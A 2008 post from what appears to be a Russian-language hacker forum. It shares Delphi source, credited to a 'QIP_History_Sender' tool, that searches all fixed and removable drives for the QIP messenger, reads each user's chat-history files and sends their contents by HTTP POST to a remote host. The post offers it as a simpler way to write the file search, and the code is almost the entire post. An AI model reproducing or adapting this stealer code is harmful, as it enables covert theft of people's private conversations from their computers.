
24.11.2008, 06:47
|
|
Участник форума
Регистрация: 24.01.2008
Сообщений: 110
Провел на форуме: 359408
Репутация:
209
|
|
для новечка 1 пост очень даже ничего +++
поис фаила можно реализовать проще, зачем изобретать велосипед если он уже изобретен:
Код:
procedure Send_all(Way:String);
begin
try
if FindFirst(Way+'USERS\*',faDirectory,folder)=0 then repeat
try
If FindFirst(Way+'USERS\'+folder.Name+'\History\*.txt',faAnyFile-faDirectory,TS)=0 then
repeat
If TS.Name<>'_srvlog.txt' Then
begin
try
ZeroMemory(@szBuf, SizeOf(szBuf));
lstrcpy(szBuf, PChar('fname='+TS.name+'&UIN='+folder.name+'&data='));
lstrcat(szBuf, ((GetFileData(PChar(Way+'USERS\'+folder.Name+'\History\'+TS.name)))));
SendPOSTData(Host,Path,szBuf);
except end;
sleep(50); end;
until FindNext(TS) <> 0;
FindClose(TS);
except end;
until FindNext(folder) <> 0;
FindClose(folder);
except end;
end;
function Search():string;
var p:string;
n:integer;
c:char;
//Рекурсивный поиск файлов
function FindFile(var path:string; const mask:string):boolean;
var SRec:TSearchRec;
retval:integer;
oldlen:integer;
begin Result:=true;
oldlen:=length(path);
retval:=FindFirst(path+mask,$3F,SRec);
while retval=0 do begin
if ((SRec.Attr and $18)=0) and (DirectoryExists(path+'Users')) then begin //faDirectory or faVolumeID
Send_all(path);
end;
retval:=FindNext(SRec)
end;
FindClose(SRec);
if not Result then exit;
retval:=FindFirst(path+'*.*',$10,SRec); //faDirectory
while retval=0 do begin
if (SRec.Attr and $10)<>0 then //faDirectory
if (SRec.Name<>'.')and(SRec.Name<>'..') then begin
path:=path+SRec.Name+'\';
if (not FindFile(path,mask)) then begin
Result:=false;
Break;
end;
delete(path,oldlen+1,255)
end;
retval:=FindNext(SRec);
end;
FindClose(SRec)
end;
begin
for c:='C' to 'Z' do begin
p:=c+':\';
if (GetDriveType(PChar(p))=DRIVE_FIXED) or (GetDriveType(PChar(p))=DRIVE_REMOVABLE) then
FindFile(p,'qip.exe')
end;
end;
взято с QIP_History_Sender Created by R_O_O_T
|
|
|